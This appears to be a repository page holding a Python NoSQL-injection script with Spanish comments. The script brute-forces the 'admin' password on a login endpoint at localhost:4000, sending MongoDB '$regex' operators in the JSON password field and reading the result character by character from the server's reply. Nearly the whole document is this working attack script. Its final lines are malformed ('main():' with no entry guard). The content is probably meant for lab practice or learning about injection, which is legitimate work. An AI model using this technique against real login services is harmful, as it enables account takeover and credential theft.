/NoSQLI

Primary LanguagePython

#!/usr/bin/python3

# Importamos las bibliotecas necesarias
from pwn import *  # Librería para interactuar con programas
import requests  # Librería para hacer peticiones HTTP
import time  # Librería para trabajar con tiempos
import sys  # Librería para interactuar con el sistema
import signal  # Librería para manejar señales
import string  # Librería para trabajar con cadenas de caracteres

# Función que maneja la señal SIGINT (Control + C)
def saliendo(sig, frame):
    print('\n\n[+] Saliendo...\n\n')
    sys.exit(1)

# Capturamos la señal SIGINT y la manejamos con la función "saliendo"
signal.signal(signal.SIGINT, saliendo)

# URL de la página de login
login_url = "http://localhost:4000/user/login"

# Definimos los caracteres a probar (letras minúsculas, mayúsculas y dígitos)
caracteres = string.ascii_lowercase + string.ascii_uppercase + string.digits

# Función para realizar una inyección NoSQL
def nosqli():
    password = ""  # Almacenamos la contraseña a medida que la descubrimos

    # Creamos una barra de progreso para la fuerza bruta
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ...")  # Mostramos un mensaje inicial

    time.sleep(2)  # Esperamos 2 segundos para dar tiempo al usuario

    # Creamos otra barra de progreso para mostrar la contraseña
    p2 = log.progress("Password")

    # Iteramos a través de las posiciones en la contraseña (hasta 24 caracteres)
    for posicion in range(0, 24):
        for caracter in caracteres:  # Probamos cada caracter en la posición actual
            # Creamos los datos del POST con el caracter actual y la contraseña parcial
            post_data = {
                "username": "admin",
                "password": {"$regex": "^%s%s" % (password, caracter)}
            }

            p1.status(post_data)  # Mostramos los datos del POST en la barra de progreso

            headers = {'Content-Type': 'application/json'}  # Encabezados para la solicitud
            respuesta = requests.post(login_url, headers=headers, json=post_data)  # Realizamos la solicitud POST

            # Si encontramos la cadena "Logged in as user" en la respuesta, hemos adivinado un caracter correcto
            if "Logged in as user" in respuesta.text:
                password += caracter  # Agregamos el caracter a la contraseña
                p2.status(password)  # Mostramos la contraseña actual en la barra de progreso
                break  # Salimos del bucle interno, ya que hemos encontrado el caracter correcto

main():
    nosqli()  # Ejecutamos la función "nosqli" si el script se ejecuta directamente